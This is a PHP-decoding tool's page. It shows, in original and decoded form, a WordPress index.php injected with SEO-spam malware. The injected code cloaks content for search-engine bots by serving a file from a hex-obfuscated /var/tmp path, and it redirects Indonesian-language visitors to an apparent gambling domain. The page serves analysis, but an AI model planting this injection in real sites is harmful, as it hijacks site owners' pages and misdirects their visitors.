Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $s_ref = $_SERVER['HTTP_REFERER']; $agent = $_SERVER['HTTP_USER_AGENT']; ..
Decoded Output download
<?php
$s_ref = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($agent, 'bot') !== false && $_SERVER['REQUEST_URI'] == '/') {
$accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (strpos($accept_lang, 'zh') !== false && $_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS'] == 1 && $_COOKIE['az'] == 'lp') {
setcookie('az', 'lp', time() + 3600 * 7200);
echo ' '; // Your bot-specific content
exit;
}
echo file_get_contents("/var/tmp/-/whoosh.1");
exit;
?>
<?php
}
$browserLang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
if ($browserLang == 'id') {
header("Location: https://disini-semua-gacor.pages.dev/");
exit;
}
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once __DIR__ . '/wp-load.php';
// Set up the WordPress query.
wp();
// Load the theme template.
require_once ABSPATH . WPINC . '/template-loader.php';
}
?>
Did this file decode correctly?
Original Code
<?php
$s_ref = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($agent, 'bot') !== false && $_SERVER['REQUEST_URI'] == '/') {
$accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (strpos($accept_lang, 'zh') !== false && $_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS'] == 1 && $_COOKIE['az'] == 'lp') {
setcookie('az', 'lp', time() + 3600 * 7200);
echo ' '; // Your bot-specific content
exit;
}
echo file_get_contents("\x2f\x76\x61\x72\x2f\x74\x6d\x70\x2f\x2d\x2f\x77\x68\x6f\x6f\x73\x68\x2e\x31");
exit;
?>
<?php
}
$browserLang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
if ($browserLang == 'id') {
header("Location: https://disini-semua-gacor.pages.dev/");
exit;
}
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once __DIR__ . '/wp-load.php';
// Set up the WordPress query.
wp();
// Load the theme template.
require_once ABSPATH . WPINC . '/template-loader.php';
}
Function Calls
strpos | 1 |
substr | 1 |
Stats
MD5 | b678e8ed7efb8e4ef7c52e299e905390 |
Eval Count | 0 |
Decode Time | 138 ms |